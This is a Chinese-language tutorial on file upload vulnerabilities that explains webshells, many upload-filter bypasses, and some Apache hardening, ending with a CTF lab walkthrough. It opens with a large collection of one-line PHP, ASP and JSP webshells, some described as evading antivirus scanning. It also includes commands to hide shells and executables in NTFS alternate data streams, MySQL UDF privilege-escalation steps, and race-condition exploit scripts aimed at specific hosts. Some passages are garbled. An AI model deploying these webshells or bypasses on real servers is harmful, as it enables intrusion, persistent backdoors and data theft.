==== ==== ==== ==== ==== ==== ==== ==== ==== ==== ==== ==== ==== ==== ==== ==== ==== ==== ==== ==== ==== ==== ====


什么是文件上传漏洞

文件上传漏洞是指由于程序员在对用户文件上传部分的控制不足或者处理缺陷,而导致的用户可以越过其本身权限向服务器上上传可执行的动态脚本文件。这里上传的文件可以是木马,病毒,恶意脚本或者WebShell等。“文件上传”本身没有问题,有问题的是文件上传后,服务器怎么处理、解释文件。如果服务器的处理逻辑做的不够安全,则会导致严重的后果。


==== ==== ==== ==== ==== ==== ==== ==== ==== ==== ==== ==== ==== ==== ==== ==== ==== ==== ==== ==== ==== ==== ====


什么是webshell

WebShell就是以asp、php、jsp或者cgi等网页文件形式存在的一种命令执行环境,也可以将其称之为一种网页后门。攻击者在入侵了一个网站后,通常会将这些asp或php后门文件与网站服务器web目录下正常的网页文件混在一起,然后使用浏览器来访问这些后门,得到一个命令执行环境,以达到控制网站服务器的目的(可以上传下载或者修改文件,操作数据库,执行任意命令等)。 WebShell后门隐蔽较性高,可以轻松穿越防火墙,访问WebShell时不会留下系统日志,只会在网站的web日志中留下一些数据提交记录


==== ==== ==== ==== ==== ==== ==== ==== ==== ==== ==== ==== ==== ==== ==== ==== ==== ==== ==== ==== ==== ==== ====


一句话木马大全

可跳过~~
常用的webshell就是一句话木马,结合中国菜刀或者hackbar等工具可以很高效快捷的获得网站shell。

##PHP:
<?php @eval($_POST['r00ts']);?> 
<?php phpinfo();?>
<?php @eval($_POST[cmd]);?>
<?php @eval($_REQUEST[cmd]);?>
<?php assert($_REQUEST[cmd]); ?>
<?php //?cmd=phpinfo() @preg_replace("/abc/e",$_REQUEST['cmd'],"abcd"); ?>
<?php 
//?cmd=phpinfo();
$func =create_function('',$_REQUEST['cmd']);
$func();
?>

<?php
//?func=system&cmd=whoami
$func=$_GET['func'];
$cmd=$_GET['cmd'];
$array[0]=$cmd;
$new_array=array_map($func,$array);
//print_r($new_array);
?>

<?php 
//?cmd=phpinfo()
@call_user_func(assert,$_GET['cmd']);
?>

<?php 
//?cmd=phpinfo()
$cmd=$_GET['cmd'];
$array[0]=$cmd;
call_user_func_array("assert",$array);
?>

<?php 
//?func=system&cmd=whoami
$cmd=$_GET['cmd'];
$array1=array($cmd);
$func =$_GET['func'];
array_filter($array1,$func);
?>

<?php usort($_GET,'asse'.'rt');?> php环境>=<5.6才能用
<?php usort(...$_GET);?>  php环境>=5.6才能用
<?php eval($_POST1);?> 
<?php if(isset($_POST['c'])){eval($_POST['c']);}?> 
<?php system($_REQUEST1);?> 
<?php ($_=@$_GET1).@$_($_POST1)?> 
<?php eval_r($_POST1)?> 
<?php @eval_r($_POST1)?>//容错代码 
<?php assert($_POST1);?>//使用Lanker一句话客户端的专家模式执行相关的PHP语句 
<?$_POST['c']($_POST['cc']);?> 
<?$_POST['c']($_POST['cc'],$_POST['cc'])?> 
<?php @preg_replace("/[email]/e",$_POST['h'],"error");?>/*使用这个后,使用菜刀一句话客户端在配置连接的时候在"配置"一栏输入*/:<O>h=@eval_r($_POST1);</O> 
<?php echo `$_GET['r']` ?> 

<script language="php">@eval_r($_POST[sb])</script> //绕过<?限制的一句话

<?php (])?>   上面这句是防杀防扫的!网上很少人用!可以插在网页任何ASP文件的最底部不会出错,比如 index.asp里面也是可以的!

<?if(isset($_POST['1'])){eval($_POST['1']);}?><?php system ($_REQUEST[1]);?> 
加了判断的PHP一句话,与上面的ASP一句话相同道理,也是可以插在任何PHP文件 的最底部不会出错!

<%execute request(“class”)%><%'<% loop <%:%><%'<% loop <%:%><%execute request (“class”)%><%execute request(“class”)'<% loop <%:%> 
无防下载表,有防下载表可尝试插入以下语句突破的一句话 

<%eval(request(“1″)):response.end%> 备份专用

##JSP:
<%if(request.getParameter("f")!=null)(newjava.io.FileOutputStream (application.getRealPath("\\")+request.getParameter("f"))).write (request.getParameter("t").getBytes());%> 
提交客户端 
<form action="" method="post"><textareaname="t"></textarea><br/><input type="submit"value="提交"></form>

##ASP
<%eval(Request.Item["r00ts"],”unsafe”);%>

<%IfRequest(“1″)<>”"ThenExecuteGlobal(Request(“1″))%> 

<%execute(request(“1″))%> 

<scriptrunat=server>execute request(“1″)</script> 不用'<,>‘的asp一句话 

##aspx
<scriptrunat=”server”>WebAdmin2Y.x.y aaaaa =newWebAdmin2Y.x.y (“add6bb58e139be10″);</script> 

<script language="C#"runat="server">WebAdmin2Y.x.y a=new WebAdmin2Y.x.y("add6bb58e139be10")</script> 

<%eval request(chr(35))%>  不用双引号的一句话。

==== ==== ==== ==== ==== ==== ==== ==== ==== ==== ==== ==== ==== ==== ==== ==== ==== ==== ==== ==== ==== ==== ====


产生文件上传漏洞的原因

原因:

  • 对于上传文件的后缀名(扩展名)没有做较为严格的限制
  • 对于上传文件的MIMETYPE(用于描述文件的类型的一种表述方法) 没有做检查
  • 权限上没有对于上传的文件目录设置不可执行权限,(尤其是对于shebang类型的文件)
  • 对于web server对于上传文件或者指定目录的行为没有做限制

原理:
在 WEB 中进行文件上传的原理是通过将表单设为 multipart/form-data,同时加入文件域,而后通过 HTTP 协议将文件内容发送到服务器,服务器端读取这个分段 (multipart) 的数据信息,并将其中的文件内容提取出来并保存的。通常,在进行文件保存的时候,服务器端会读取文件的原始文件名,并从这个原始文件名中得出文件的扩展名,而后随机为文件起一个文件名 ( 为了防止重复 ),并且加上原始文件的扩展名来保存到服务器上

文件上传后导致的常见安全问题一般有:

  • 上传文件是Web脚本语言,服务器的Web容器解释并执行了用户上传的脚本,导致代
    码执行;

  • 上传文件是Flash的策略文件crossdomain.xml,黑客用以控制Flash在该域下的行为(其
    他通过类似方式控制策略文件的情况类似);

  • 上传文件是病毒、木马文件,黑客用以诱骗用户或者管理员下载执行:

  • 上传文件是钓鱼图片或为包含了脚本的图片,在某些版本的浏览器中会被作为脚本执
    行,被用于钓鱼和欺诈。

除此之外,还有一些不常见的利用方法,比如将上传文件作为一个入口,溢出服务器的后台处理程序,如图片解析模块;或者上传-一个合法的文本文件, 其内容包含了PHP脚本,再通过“本地文件包含漏洞(Local File Include)"执行此脚本;等等。此类问题不在此细述。


==== ==== ==== ==== ==== ==== ==== ==== ==== ==== ==== ==== ==== ==== ==== ==== ==== ==== ==== ==== ==== ==== ====


文件上传漏洞的攻击与防御方式

1.前端限制
<li id="show_code">
    <h3>代码</h3>
<pre>
<code class="line-numbers language-javascript">function checkFile() {
    var file = document.getElementsByName('upload_file')[0].value;
    if (file == null || file == "") {
        alert("请选择要上传的文件!");
        return false;
    }
    //定义允许上传的文件类型
    var allow_ext = ".jpg|.png|.gif";
    //提取上传文件的类型
    var ext_name = file.substring(file.lastIndexOf("."));
    //判断上传文件类型是否允许上传
    if (allow_ext.indexOf(ext_name + "|") == -1) {
        var errMsg = "该文件不允许上传,请上传" + allow_ext + "类型的文件,当前文件类型为:" + ext_name;
        alert(errMsg);
        return false;
    }
}
</code>
</pre>
</li>

原理

在表单中使用onsumbit=checkFile()调用js函数来检查上传文件的扩展名。当用户在客户端选择文件点击上传的时候,客户端还没有向服务器发送任何消息,就对本地文件进行检测来判断是否是可以上传的类型,这种方式称为前台脚本检测扩展名。

绕过方法

这种限制很简单,通过浏览器F12很简单的修改文件后缀名就可以完成绕过检查,或者是讲木马修改后缀名后上传,通过改包工具修改上传。如果是JS脚本检测,在本地浏览器客户端禁用JS即可。可使用火狐浏览器的NoScript插件、IE中禁用掉JS等方式实现绕过。

操作方法

准备一句话木马:

<?php
@eval($_POST['cmd']);
?>

并且修改后缀名为jpg,上传操作,通过burpsuit抓包改包,使其后缀名修改回php。


2.检查扩展名

就是在文件被上传到服务端的时候,对于文件名的扩展名进行检查,如果不合法,则拒绝这次上传
在检查扩展名是否合法的时候,有两种策略:

1.黑名单策略,

文件扩展名在黑名单中的为不合法
示例

//黑名单策略
<li id="show_code">
    <h3>代码</h3>
<pre>
<code class="line-numbers language-php">$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array('.asp','.aspx','.php','.jsp');
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //收尾去空

        if(!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;            
            if (move_uploaded_file($temp_file,$img_path)) {
                 $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '不允许上传.asp,.aspx,.php,.jsp后缀文件!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}
</code>
</pre>
</li>
2.白名单策略

文件扩展名不在白名单中的均为不合法
示例

<li id="show_code">
    <h3>代码</h3>
<pre>
<code class="line-numbers language-php">$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    $ext_arr = array('jpg','png','gif');
    $file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
    if(in_array($file_ext,$ext_arr)){
        $temp_file = $_FILES['upload_file']['tmp_name'];
        $img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;

        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        } else {
            $msg = '上传出错!';
        }
    } else{
        $msg = "只允许上传.jpg|.png|.gif类型文件!";
    }
}
</code>
</pre>
</li>

原理
当浏览器将文件提交到服务器端的时候,服务器端会根据设定的黑白名单对浏览器提交上来的文件扩展名进行检测,如果上传的文件扩展名不符合黑白名单的限制,则不予上传,否则上传成功。

绕过方法

在一些Web server中,存在解析漏洞:
1.老版本的IIS6中的目录解析漏洞,如果网站目录中有一个 /.asp/目录,那么此目录下面的一切内容都会被当作asp脚本来解析
2.老版本的IIS6中的分号漏洞:IIS在解析文件名的时候可能将分号后面的内容丢弃,那么我们可以在上传的时候给后面加入分号内容来避免黑名单过滤,如 a.asp;jpg
3.旧版Windows Server中存在空格和dot漏洞类似于 a.php. 和 a.php[空格] 这样的文件名存储后会被windows去掉点和空格,从而使得加上这两个东西可以突破过滤,成功上传,并且被当作php代码来执行
4.nginx(0.5.x, 0.6.x, 0.7 <= 0.7.65, 0.8 <= 0.8.37)空字节漏洞 xxx.jpg%00.php 这样的文件名会被解析为php代码运行(fastcgi会把这个文件当php看,不受空字节影响,但是检查文件后缀的那个功能会把空字节后面的东西抛弃,所以识别为jpg)
5.apache1.x,2.x的解析漏洞,上传如a.php.rar a.php.gif 类型的文件名,可以避免对于php文件的过滤机制,但是由于apache在解析文件名的时候是从右向左读,如果遇到不能识别的扩展名则跳过,rar等扩展名是apache不能识别的,因此就会直接将类型识别为php,从而达到了注入php代码的目的


3.检查Content-Type

原理

HTTP协议规定了上传资源的时候在Header中加上一项文件的MIMETYPE,来识别文件类型,这个动作是由浏览器完成的,服务端可以检查此类型不过这仍然是不安全的,因为HTTP header可以被发出者或者中间人任意的修改。

常见类型

文件后缀Mime类型说明
.flvflv/flv-flash在线播放
.html或.htmtext/html超文本标记语言文本
.rtfapplication/rtfRTF文本
.gif 或.pngimage/gif(image/png)GIF图形/PNG图片
.jpeg或.jpgimage/jpegJPEG图形
.auaudio/basicau声音文件
.mid或.midiaudio/midi或audio/x-midiMIDI音乐文件
.ra或.ram或.rmaudio/x-pn-realaudioRealAudio音乐文件
.mpg或.mpeg或.mp3video/mpegMPEG文件
.avivideo/x-msvideoAVI文件
.gzapplication/x-gzipGZIP文件
.tarapplication/x-tarTAR文件
.exeapplication/octet-stream下载文件类型
.rmvbvideo/vnd.rn-realvideo在线播放
.txttext/plain普通文本
.mrpapplication/octet-streamMRP文件(国内普遍的手机)
.ipaapplication/iphone-package-archiveIPA文件(IPHONE)
.debapplication/x-debian-package-archiveDED文件(IPHONE)
.apkapplication/vnd.android.package-archiveAPK文件(安卓系统)
.cabapplication/vnd.cab-com-archiveCAB文件(Windows Mobile)
.xapapplication/x-silverlight-appXAP文件(Windows Phone 7)
.sisapplication/vnd.symbian.install-archiveSIS文件(symbian平台)
.jarapplication/java-archiveJAR文件(JAVA平台手机通用格式)
.jadtext/vnd.sun.j2me.app-descriptorJAD文件(JAVA平台手机通用格式)
.sisxapplication/vnd.symbian.epoc/x-sisx-appSISX文件(symbian平台)

绕过方法
使用各种各样的工具(如burpsuite)强行篡改Header就可以,将Content-Type: application/php改为其他web程序允许的类型。


4.文件头检查文件

原理

利用的是每一个特定类型的文件都会有不太一样的开头或者标志位。

格式文件头
TIFF (tif)49492A00
Windows Bitmap (bmp)424D
CAD (dwg)41433130
Adobe Photoshop (psd)38425053
JPEG (jpg)FFD8FF
PNG (png)89504E47
GIF (gif)47494638
XML (xml)3C3F786D6C
HTML (html)68746D6C3E
MS Word/Excel (xls.or.doc)D0CF11E0
MS Access (mdb)5374616E64617264204A
ZIP Archive (zip),504B0304
RAR Archive (rar),52617221
Wave (wav),57415645
AVI (avi),41564920
Adobe Acrobat (pdf),255044462D312E

绕过方法

给上传脚本加上相应的幻数头字节就可以,php引擎会将 <?之前的内容当作html文本,不解释而跳过之,后面的代码仍然能够得到执行比如下面:
(一般不限制图片文件格式的时候使用GIF的头比较方便,因为全都是文本可打印字符。)


5.限制Web Server对特定类型文件的行为

原理

导致文件上传漏洞的根本原因在于服务把用户上传的本应是数据的内容当作了代码,一般而言:用户上传的内容都会被存储到特定的一个文件夹下,比如我们很多人习惯于放在 ./upload/ 下面要防止数据被当作代码执行,我们可以限制web server对于特定文件夹的行为。

大多数服务端软件都可以支持用户对于特定类型文件的行为的自定义,以Apache为例:

在默认情况下,对与 .php文件Apache会当作代码来执行,对于 html,css,js文件,则会直接由HTTP Response交给客户端程序对于一些资源文件,比如txt,doc,rar等等,则也会以文件下载的方式传送的客户端。我们希望用户上传的东西仅仅当作资源和数据而不能当作代码。因此Apache使用服务器程序的接口来进行限制利用 .htaccess 文件机制来对web server行为进行限制。

禁止脚本执行有多种方式可以实现,而且分别有不同的效果:

  • 指定特定扩展名的文件的处理方式,原理是指定Response的Content-Type可以加上如下几行
   AddType text/plain .pl .py .php

这种情况下,以上几种脚本文件会被当作纯文本来显示出来,你也可以换成其他的Content-Type

这种情况下,以上几种脚本文件会被当作纯文本来显示出来,你也可以换成其他的Content-Type

  • 如果要完全禁止特定扩展名的文件被访问,用下面的几行

    Options -ExecCGI
    AddHandler cgi-script .php .pl .py .jsp .asp .htm .shtml .sh .cgi识别
    

    在这种情况下,以上几种类型的文件被访问的时候,会返回403 Forbidden的错误

  • 强制web服务器对于特定文件类型的处理,与第一条不同的是, 下面的方法直接强行让apache将文件识别为你指定的类型,而第一种是让浏览器符合上面正则的全部被认为是纯文本,也可以继续往里面加入其他类型。

<FilesMatch "\.(php|pl|py|jsp|asp|htm|shtml|sh|cgi)$">
ForceType text/plain
</FilesMatch>
  • 只允许访问特定类型的文件.使得该文件夹里面只有图片扩展名的文件才可以被访问,其他类型都是拒绝访问(白名单策略)。
<Files ^(*.jpeg|*.jpg|*.png|*.gif)>
order deny,allow
deny from all
</Files>

绕过方法

可以通过 move_uploaded_file 函数把自己写的.htaccess 文件上传,覆盖掉服务器上的文件,来定义文件类型和执行权限如果做到了这一点,将获得相当大的权限。

补充知识htaccess:

.htaccess文件(或者"分布式配置文件"),全称是Hypertext Access(超文本入口)。提供了针对目录改变配置的方法, 即,在一个特定的文档目录中放置一个包含一个或多个指令的文件, 以作用于此目录及其所有子目录。作为用户,所能使用的命令受到限制。管理员可以通过Apache的AllowOverride指令来设置。概述来说,htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过htaccess文件,可以帮我们实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能。


6.文件系统00截断

原理

**在上传的时候,当文件系统读到【0x00】时,会认为文件已经结束。**利用00截断就是利用程序员在写程序时对文件的上传路径过滤不严格,产生0x00、%00上传截断漏洞。

绕过方法

通过抓包截断将【evil.php.jpg】后面的一个【.】换成【0x00】。在上传的时候,当文件系统读到【0x00】时,会认为文件已经结束,从而将【evil.php.jpg】的内容写入到【evil.php】中,从而达到攻击的目的。


7.windows NTFS文件系统特性绕过

NTFS交换数据流(alternate data streams简称ADS)是NTFS磁盘格式的新特性,见漏洞详细可查CVE-1999-0278。

  • 一个完整的流的格式为:::
  • 文件主流即我们平时可以看见的可以存储数据的文件。而非主文件流寄宿于主文件流中,无法直接读取。
  • 修改宿主文件的内容或流的内容,不会对彼此造成影响。
  • 流类型总是以 符 号 作 为 开 始 , N T F S 文 件 系 统 中 的 文 件 至 少 包 含 一 个 主 流 , 也 就 是 d a t a 流 ( 符号作为开始,NTFS文件系统中的文件至少包含一个主流,也就是data流( NTFSdata(DATA),默认流名为空。
  • ADS可以省略流名,但不能省略流类型。
  • NTFS文件系统中的文件夹没有data流,但可以指派data流,文件夹的主流为directory流( I N D E X A L L O C A T I O N ) , 流 名 默 认 为 INDEX_ALLOCATION),流名默认为 INDEXALLOCATION)I30

当我们对一个在NTFS分区中的ASP文件发出包含 D A T A 请 求 , I I S 会 检 查 最 后 一 个 “ . ” 后 面 的 扩 展 名 , 因 为 多 了 : : DATA请求,IIS会检查最后一个“.”后面的扩展名,因为多了:: DATAIIS.::DATA,结果IIS不认为这是一个ASP文件,而文件系统可以识别该请求,于是返回ASP的源代码。

绕过方法

  1. IIS目录访问权限绕过:在IIS6.0+PHP、IIS7+asp、IIS7.5+php的环境下,如果目录是通过HTTP Basic来认证,假设网站根目录存在index.php文件,可通过构造如下方式来绕过认证直接访问目录下的文件。
/admin::$INDEX_ALLOCATION/index.php
/admin:$i30:$INDEX_ALLOCATION/index.asp
  1. 上传绕过黑名单:在测试中我们发现如果上传的文件名字为:test.php::$DATA,会在服务器上生成一个test.php的文件,其中内容和所上传文件内容相同,并被解析。
上传的文件名服务器表面现象生成的文件内容
Test.php:a.jpg生成Test.php
Test.php::$DATA生成test.php<?php phpinfo();?>
Test.php::$INDEX_ALLOCATION生成test.php文件夹
Test.php::$DATA\0.jpg生成0.jpg<?php phpinfo();?>
Test.php::$DATA\aaa.jpg生成aaa.jpg<?php phpinfo();?>

注意:
对于windows环境的服务器,上传test.php:.jpg类型的文件,当文件传到服务端时,windows会将该文件识别成ADS,从而认为其宿主文件名为1.asp而将.jpg识别为流名。
通过notepad test.php:.jpg可以查看内容,所以test.php内容为空是正常的。
然后修改上传的文件名为test.>>>或者test.<、test.<<<、test.>><再上传,会重写test.php。原因是在PHP+IIS的环境下," 同义. >同义? <同义*

  1. 隐藏webshell:在服务器上echo一个数据流文件进去,比如index.php是网页正常文件,命令如下:echo ^<?php @eval(request[cmd])?^ >> index.php:hidden.jpg
    这样生成了一个不可见的shell hidden.jpg,type dir del命令都不行。利用文件包含<?php include('shell.php:hidden.jpg')?>就是一句话。

  2. mysql中的udf提权:

如果数据库用户对数据库mysql(注意指的是数据库里的默认库mysql)具有insert和delete权限,就可以创建加载自定义函数。
而又因为mysql服务是以system权限运行在windows主机上,所以这个时候我们就可以通过自定义函数以system权限执行命令了。

如果数据库用户对数据库mysql(注意指的是数据库里的默认库mysql)具有insert和delete权限,就可以创建加载自定义函数。
而又因为mysql服务是以system权限运行在windows主机上,所以这个时候我们就可以通过自定义函数以system权限执行命令了。

Mysql 5.0.67之前,DLL的导入目录是C:\windows\system32
从MySQL 5.1开始,要求目录必须是mysql目录下的lib\plugin\目录,而且mysql 5.1之后的常用安装版本是默认不存在lib\plugin目录的。

执行sql语句

show variables like '%plugin%';

查看目录位置。
利用ADS依次创建lib、plugin目录

select 'xxx' into outfile 'E:\\phpstudy\\PHPTutorial\\MySQL\\lib\\plugin::$INDEX_ALLOCATION';

如果创建失败的话,执行

show variables like '%secure%';

看看secure_file_priv的值:

如果创建失败的话,执行

show variables like '%secure%';

看看secure_file_priv的值:

  • null表示限制mysqld不允许导入导出
  • 当secure_file_priv的值为/tmp/,表示限制mysqld 的导入导出只能在/tmp/目录下
  • 当secure_file_priv的值为空,表示不对mysqld的导入导出做限制
  1. 隐藏exe文件
type muma.txt test.txt:muma.exe

在xp中可以用start test.txt:muma.exe执行,但是win7以上这样执行会报错。win7及之后的系统的正确姿势如下:
创建一个符号链接文件test.exe,链接到寄生的交换数据流可执行文件test.txt:muma.exe上:mklink test.exe,test.txt:muma.exe,然后执行start test.exe /b即可
更新一个方法:

wmic process call create "C:\ProjectCode\test\test:putty.exe"

在WinXP中,可执行文件可以和文本文件一样实现真正的隐藏,这可能也是当时大多数杀毒软件添加数据流病毒查杀功能的原因;在Win7之后的系统中,微软可能出于安全考虑,不允许直接运行交换数据流可执行文件,必须要创建符号链接,这个符号链接是可见的(当然可以使用其他手段隐藏这个符号链接),并且这个符号链接创建出来后不能复制到其他地方,只能在创建的那个位置使用命令行方式调用(鼠标双击会报错)。

查看隐藏流文件

使用这两款小工具配合进行检测和清除寄生的交换数据流
https://pan.baidu.com/share/link?shareid=134850&uk=1108295926
labs.exe检测,streams.exe进行清理。
还有一个叫做AlternateStreamView的工具也可以




8.二次渲染绕过

感觉这个的知识点偏向文件格式分析(MISC)。在制作图片马的时候

往往是在图片后头附件一段php代码,或者是改包发送一个图片马。但是如果使用了二次渲染。我们上传的文件名称会被修改,并且文件末尾段一些冗余的信息(一句话木马)会被删除。

所以很明显,我们只需要将我们需要写入的东西塞在图片中间(虽然会使图片损坏,但是我们又不需要图片。。),用winhex或者是010editor等在文件内进行修改即可。


9.条件竞争

条件竞争漏洞是一种服务器端的漏洞,由于服务器端在处理不同用户的请求时是并发进行的,因此,如果并发处理不当或相关操作逻辑顺序设计的不合理时,将会导致此类问题的发生。

该漏洞一般出现在与数据库系统频繁交互的位置,例如金额同步、支付等较敏感操作处。另外条件竞争漏洞也会出现在其他位置,例如文件的操作处理等。

#-*-coding:utf-8-*-
import threading
COUNT = 0

def Run(threads_name):
    global COUNT
    read_value = COUNT
    print "COUNT in Thread-%s is %d" % (str(threads_name), read_value)
    COUNT = read_value + 1

def main():
    threads = []
    for j in range(10):
        t = threading.Thread(target=Run,args=(j,))
        threads.append(t)
        t.start()
    for i in range(len(threads)):
        threads[i].join()
    print ("Finally, The COUNT is %d" % (COUNT,))

if __name__ == '__main__':
    main()

按照我们的预想,结果应该都是10,但是发现结果可能存在非预期解,并且出现非预期的概率还挺大的。

这是什么原因呢?

原因就在于我们没有对变量COUNT做同步制约,导致可能Thread-7在读COUNT,还没来得及更改COUNT,Thread-8抢夺资源,也来读COUNT,并且将COUNT修改为它读的结果+1,由此出现非预期。

同样的,WEB应用程序因为要为很多用户服务,势必要采用多线程,但是,如果种种原因导致线程间的同步机制没处理好,那么也就会导致非预期和条件竞争的漏洞。

例子:

例一:金额提现

假设现有一个用户在系统中共有2000元可以提现,他想全部提现。于是该用户同时发起两次提现请求,第一次提交请求提现2000元,系统已经创建了提现订单但还未来得及修改该用户剩余金额,此时第二次提现请求同样是提现2000元,于是程序在还未修改完上一次请求后的余额前就进行了余额判断,显然如果这里余额判断速度快于上一次余额修改速度,将会产生成功提现的两次订单,而数据库中余额也将变为-2000。而这产生的后果将会是平台多向该用户付出2000元

例二:moctf

打开网址后一直打开的是index2.php 修改为index.php后发现还是会跳转到index2 抓包修改index.php。
在这里插入图片描述

发现index.php是一个302网页,因此就可以看到这里存在的一个文件uploadsomething.php。
在这里插入图片描述

随便填写文件名下面写入代码,再进行提交。

访问后
在这里插入图片描述
因此这里就需要用到条件竞争,不断的向网站发送请求,然后边发送边访问。

写入一个py文件一直发requests即可

import requests
url="http://119.23.73.3:5006/web2/uploads/b106f91010a3789acab1f27a00d67570052a7921/1.php"
while 1:
    print (requests.get(url).text)

在这里插入图片描述

例三:XMAN-Easy Gallery

伪协议读取代码

http://202.112.51.184:8004/index.php?page=php://filter/read=convert.base64-encode/resource=upload.php

<html lang="zh-CN">
  <head>
    <meta charset="utf-8">
<?php
$error=$_FILES['pic']['error'];
$tmpName=$_FILES['pic']['tmp_name'];
$name=$_FILES['pic']['name'];
$size=$_FILES['pic']['size'];
$type=$_FILES['pic']['type'];
try{
    if($name!=="")
    {
        $name1=substr($name,-4);
        if(($name1!==".gif") and ($name1!==".jpg"))
        {
            echo "hehe";
            echo "<script language=javascript>alert('不允许的文件类型!');history.go(-1)</script>";
            exit;
        }
        if($type!=="image/jpeg"&&$type!=="image/gif")
        {
            echo mime_content_type($tmpName);
            echo "<script language=javascript>alert('不允许的文件类型!');history.go(-1)</script>";
            exit;
        }
        if(is_uploaded_file($tmpName)){
            $time=time();
            $rootpath='uploads/'.$time.$name1;
            if(!move_uploaded_file($tmpName,$rootpath)){
                echo "<script language='JavaScript'>alert('文件移动失败!');window.location='index.php?page=submit'</script>";
                exit;
            }
            else{
                sleep(5);
                if ($type=='image/jpeg')
                {
                    $im = @imagecreatefromjpeg($rootpath);
                    if(!$im){
                      $im = imagecreatetruecolor(150, 30);
                      $bg = imagecolorallocate($im, 255, 255, 255);
                      $text_color = imagecolorallocate($im, 0, 0, 255);
                      imagefilledrectangle($im, 0, 0, 150, 30, $bg);
                      imagestring($im, 3, 5, 5, "Error loading image", $text_color);
                    } else {
                        $time=time();
                        $new_rootpath='uploads/'.$time.$name1;
                        imagejpeg($im,$new_rootpath);
                    }
                }
                else if ($type=='image/gif')
                {
                    $im = @imagecreatefromgif($rootpath);
                    if(!$im){
                      $im = imagecreatetruecolor(150, 30);
                      $bg = imagecolorallocate($im, 255, 255, 255);
                      $text_color = imagecolorallocate($im, 0, 0, 255);
                      imagefilledrectangle($im, 0, 0, 150, 30, $bg);
                      imagestring($im, 3, 5, 5, "Error loading image", $text_color);
                    } else {
                        $time=time();
                        $new_rootpath='uploads/'.$time.$name1;
                        imagegif($im,$new_rootpath);
                    }
                }
                unlink($rootpath);
            }
        }
        echo "图片ID:".$time;
    }
}
catch(Exception $e)
{
    echo "ERROR";
}
//
 ?>
 </html>

首先是验证上传的文件是否为图片格式,如果上传了正确的图片,imagecreatefromjpeg()返回图像资源,文件名更换为新的时间戳,用新的文件路径 n e w r o o t p a t h 输 出 图 片 , 最 后 删 除 原 文 件 u n l i n k ( new_rootpath输出图片,最后删除原文件unlink( newrootpathunlink(rootpath);如果上传了不正确的图片,不会更换新的文件路径,最后还要删除源文件unlink($rootpath);上传过程中存在一个延时函数sleep(5),所以上传的文件即使验证不成功也有5秒钟的时间存在。

python的payload。

import requests
import time
id = int(time.time())
s=requests.session()
data0={'v':"phpinfo();",}
data1={
    'v':"system('ls');"
}
data2={
    'v':"system('cat xxxxxxxxxasdasf_flag.php');"
}
while 1:
    for i in range(id-50,id+50):
        url = 'http://202.112.51.184:9005/index.php?page=phar://./uploads/' + str(i) + '.jpg/v'
        t=s.post(url,data=data1).content
        print i
        if 'flag' in t:
            print t
            break

10.其它方式—绕过

原理

部分程序员的思维不严谨,并使用逻辑不完善的上传文件合法性检测手段,导致可以找到方式绕过其检测方式。

绕过方法

  • 后缀名大小写绕过 用于只将小写的脚本后缀名(如php)过滤掉的场合; 例如:将Burpsuite截获的数据包中的文件名【evil.php】改为【evil.Php】
  • 双写后缀名绕过 用于只将文件后缀名过滤掉的场合,例如"php"字符串过滤的; 例如:上传时将Burpsuite截获的数据包中文件名【evil.php】改为【evil.pphphp】,那么过滤了第一个"php"字符串"后,开头的’p’和结尾的’hp’就组合又形成了【php】。
  • 特殊后缀名绕过 用于检测文件合法性的脚本有问题的场合; 例如:将Burpsuite截获的数据包中【evil.php】名字改为【evil.php6】,或加个空格改为【evil.php 】等。

==== ==== ==== ==== ==== ==== ==== ==== ==== ==== ==== ==== ==== ==== ==== ==== ==== ==== ==== ==== ==== ==== ====


靶场实战

靶场资源链接、环境资源一键安装

实战依据upload靶场进行实验训练,upload靶场涵盖目前所有类型的上传漏洞,将靶场漏洞题目全部刷完即可完全全部的上传漏洞的训练。

首先对一个文件进行分析,从而对PHP和源代码环境进行深入理解。

<li id="show_code">
    <h3>代码</h3>
<pre>
<code class="line-numbers language-php">$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //首尾去空
        
        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.$file_name;
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '此文件类型不允许上传!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}
</code>
</pre>
</li>

文件基本格式步分析。

deny_ext :黑名单列表

